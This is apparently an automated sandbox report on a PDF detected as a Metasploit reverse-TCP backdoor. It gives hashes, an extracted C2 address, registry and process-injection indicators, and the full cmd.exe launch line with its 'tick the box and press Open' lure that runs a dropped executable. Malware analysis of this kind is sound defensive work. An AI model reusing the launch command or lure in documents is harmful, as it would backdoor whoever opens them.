metasploit | 53b43327329e3199b64f29d34de75c2d345e43fc7b42e4b74ecceec81575b205

General

Target

TFG_modificado.pdf
Size

105KB
MD5

3f40220500ee4514ca088297e70613ed
SHA1

07e9ed05f62671596688c37eaffca357b25969ea
SHA256

53b43327329e3199b64f29d34de75c2d345e43fc7b42e4b74ecceec81575b205
SHA512

c4988c1ee38d3ceb22c616d6c943b79148721590a8efe38172098eac9b5259fb6e700ced4ae967ec6816cea1159c29dd327c2cf44e78a90b5919d5888e9108c2

Score

10^/10

metasploit backdoor trojan

Malware Config

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

10.0.2.15:4444

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Executes dropped EXE 1 IoCs

Processes:

TFG.pdf

pid process

1860 TFG.pdf
Loads dropped DLL 2 IoCs

Processes:

cmd.exe

pid process

1244 cmd.exe
1244 cmd.exe

pid	process
1860	TFG.pdf

pid	process
1244	cmd.exe
1244	cmd.exe

Modifies registry class 31 IoCs

Processes:

AcroRd32.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Mode = "4"	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\LogicalViewMode = "1"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\TV_TopViewVersion = "0"	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Sort = 000000000000000000000000000000000200000030f125b7ef471a10a5f102608c9eebac0a0000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 9e0000001a00eebbfe23000010007db10d7bd29c934a973346cc89022e7c00002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020002a0000000000efbe7e47b3fbe4c93b4ba2bad3f5d3cd46f98207ba827a5b6945b5d7ec83085f08cc20002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020000000	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	AcroRd32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\TV_FolderType = "{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\IconSize = "16"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	AcroRd32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\TV_TopViewID = "{82BA0782-5B7A-4569-B5D7-EC83085F08CC}"	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_Classes\Local Settings	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	AcroRd32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlgLegacy\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1092616257"	AcroRd32.exe
Key created	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	AcroRd32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f4225481e03947bc34db131e946b44c8dd50000	AcroRd32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

AcroRd32.exe

pid process

1688 AcroRd32.exe
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

AcroRd32.exe

pid process

1688 AcroRd32.exe
1688 AcroRd32.exe
1688 AcroRd32.exe
1688 AcroRd32.exe
1688 AcroRd32.exe

pid	process
1688	AcroRd32.exe

pid	process
1688	AcroRd32.exe
1688	AcroRd32.exe
1688	AcroRd32.exe
1688	AcroRd32.exe
1688	AcroRd32.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

AcroRd32.execmd.exe

description	pid	process	target process
PID 1688 wrote to memory of 1244	1688	AcroRd32.exe	cmd.exe
PID 1688 wrote to memory of 1244	1688	AcroRd32.exe	cmd.exe
PID 1688 wrote to memory of 1244	1688	AcroRd32.exe	cmd.exe
PID 1688 wrote to memory of 1244	1688	AcroRd32.exe	cmd.exe
PID 1244 wrote to memory of 1860	1244	cmd.exe	TFG.pdf
PID 1244 wrote to memory of 1860	1244	cmd.exe	TFG.pdf
PID 1244 wrote to memory of 1860	1244	cmd.exe	TFG.pdf
PID 1244 wrote to memory of 1860	1244	cmd.exe	TFG.pdf

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\TFG_modificado.pdf"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\TFG.pdf" (cd "Desktop"))&(if exist "My Documents\TFG.pdf" (cd "My Documents"))&(if exist "Documents\TFG.pdf" (cd "Documents"))&(if exist "Escritorio\TFG.pdf" (cd "Escritorio"))&(if exist "Mis Documentos\TFG.pdf" (cd "Mis Documentos"))&(start TFG.pdf) To view the encrypted content please tick the "Do not show this message again" box and press Open.
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1244

\??\c:\Users\Admin\Documents\TFG.pdf
TFG.pdf
3⤵
- Executes dropped EXE
PID:1860

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Documents\TFG.pdf
Filesize
72KB

MD5
c8eda58fbac22e5b0d33f547c858b9f1

SHA1
143df53b62f5b2eb2bb2cd2bd70c7882c1c3df2d

SHA256
178d1de119f2315d86e78d16e81d34544fbccae169b1d30db4db1be5e82a4574

SHA512
6de0398890ed6cbd05459b7308d9e7265f53bc42f4ea7472be0a7ea0e846224c3a3cfcd7387b06ebe7630d52c7bf211e5dd9409d13f0c535781d1654c1c0c72d

Download Submit
\??\c:\Users\Admin\Documents\TFG.pdf
Filesize
72KB

MD5
c8eda58fbac22e5b0d33f547c858b9f1

SHA1
143df53b62f5b2eb2bb2cd2bd70c7882c1c3df2d

SHA256
178d1de119f2315d86e78d16e81d34544fbccae169b1d30db4db1be5e82a4574

SHA512
6de0398890ed6cbd05459b7308d9e7265f53bc42f4ea7472be0a7ea0e846224c3a3cfcd7387b06ebe7630d52c7bf211e5dd9409d13f0c535781d1654c1c0c72d

Download Submit
\Users\Admin\Documents\TFG.pdf
Filesize
72KB

MD5
c8eda58fbac22e5b0d33f547c858b9f1

SHA1
143df53b62f5b2eb2bb2cd2bd70c7882c1c3df2d

SHA256
178d1de119f2315d86e78d16e81d34544fbccae169b1d30db4db1be5e82a4574

SHA512
6de0398890ed6cbd05459b7308d9e7265f53bc42f4ea7472be0a7ea0e846224c3a3cfcd7387b06ebe7630d52c7bf211e5dd9409d13f0c535781d1654c1c0c72d

Download Submit
\Users\Admin\Documents\TFG.pdf
Filesize
72KB

MD5
c8eda58fbac22e5b0d33f547c858b9f1

SHA1
143df53b62f5b2eb2bb2cd2bd70c7882c1c3df2d

SHA256
178d1de119f2315d86e78d16e81d34544fbccae169b1d30db4db1be5e82a4574

SHA512
6de0398890ed6cbd05459b7308d9e7265f53bc42f4ea7472be0a7ea0e846224c3a3cfcd7387b06ebe7630d52c7bf211e5dd9409d13f0c535781d1654c1c0c72d

Download Submit
memory/1244-55-0x0000000000000000-mapping.dmp

Download
memory/1688-54-0x0000000076391000-0x0000000076393000-memory.dmp

Filesize
8KB

Download
memory/1860-59-0x0000000000000000-mapping.dmp

Download

Resubmissions

Analysis

Sharing